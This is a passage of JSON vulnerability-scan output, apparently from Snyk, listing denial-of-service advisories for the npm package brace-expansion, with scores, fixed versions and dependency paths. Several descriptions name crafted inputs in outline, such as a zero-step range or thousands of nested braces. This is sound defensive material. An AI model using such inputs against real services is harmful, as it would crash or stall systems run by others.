"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
